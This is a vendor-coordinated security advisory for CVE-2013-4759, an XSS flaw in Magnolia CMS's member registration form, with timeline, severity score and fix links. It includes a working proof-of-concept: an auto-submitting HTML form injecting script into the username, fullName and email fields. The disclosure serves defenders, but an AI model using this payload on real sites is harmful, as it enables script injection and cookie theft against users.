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Cross-Site Scripting (XSS) in Magnolia CMS

Advisory ID:HTB23163
Product:Magnolia CMS
Vendor:Magnolia International Ltd
Vulnerable Versions:4.5.7, 4.5.8, 4.5.9, 5.0 and 5.0.1 Community Edition
Tested Version: 5.0 Community Edition
Advisory Publication:July 3, 2013 [without technical details]
Vendor Notification:July 3, 2013
Vendor Fix:July 18, 2013
Public Disclosure:July 24, 2013
Latest Update:July 19, 2013
Vulnerability Type:Cross-Site Scripting [CWE-79]
CVE Reference:CVE-2013-4759
Risk Level:Medium
CVSSv2 Base Score:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge Security Research Lab discovered XSS vulnerability in Magnolia CMS, which can be exploited to perform Cross-Site Scripting attacks against users of vulnerable application.

1) Cross-Site Scripting (XSS) in Magnolia CMS: CVE-2013-4759
The vulnerability exists due to insufficient sanitisation of user-supplied data in "username", "fullname" and "email" HTTP POST parameters passed to "/magnoliaPublic/demo-project/members-area/registration.html" URL.
A remote attacker can trick victim to open a specially crafted link and execute arbitrary HTML and scripting code in his browser in context of the vulnerable website.
The exploitation example below uses the "alert()" JavaScript function to display user's cookies:
<form action="http://[host]/magnoliaPublic/demo-project/members-area/registration. html" method="post" name="main">
<input type="hidden" name="mgnlModelExecutionUUID" value="8417fe0e-8f61-4d21-bdf1-c9c23b13ba14">
<input type="hidden" name="password" value='password'>
<input type="hidden" name="passwordConfirmation" value='password'>
<input type="hidden" name="username" value='"><script>alert(document.cookie);</script>'>
<input type="hidden" name="fullName" value='"><script>alert(document.cookie);</script>'>
<input type="hidden" name="email" value='"><script>alert(document.cookie);</script>'>
<input type="submit" id="btn">
</form>
<script>
document.main.submit();
</script>

How to Detect Cross-Site Scripting Vulnerabilities
Website Security Test
  • GDPR & PCI DSS Test
  • Website CMS Security Test
  • CSP & HTTP Headers Check
  • WordPress & Drupal Scanning
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Solution:
The vulnerability and fix are described in the MGNLFORM-183 issue (1).

The hot fix for the vulnerability have been distributed to all clients and fix has been also made publicly available in Magnolia Form module version 1.4.7 (for Magnolia 4.5.x branch) and 2.0.2 (for Magnolia 5.x branch). Anyone using affected version of Magnolia can download and update their installation of Magnolia with above mentioned version of Form module from (2) and (3) respectively:

(1) http://jira.magnolia-cms.com/browse/MGNLFORM-183
(2) http://nexus.magnolia-cms.com/content/repositories/magnolia.public.releases/info/magnolia/magnolia-module-form/1.4.7/
(3) http://nexus.magnolia-cms.com/content/repositories/magnolia.public.releases/info/magnolia/magnolia-module-form/2.0.2/


References:
[1] High-Tech Bridge Advisory HTB23163 - https://www.immuniweb.com/advisory/HTB23163 - Cross-Site Scripting (XSS) in Magnolia CMS.
[2] Magnolia CMS - http://www.magnolia-cms.com/ - Magnolia CMS is an open source Java content management system for the enterprise.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

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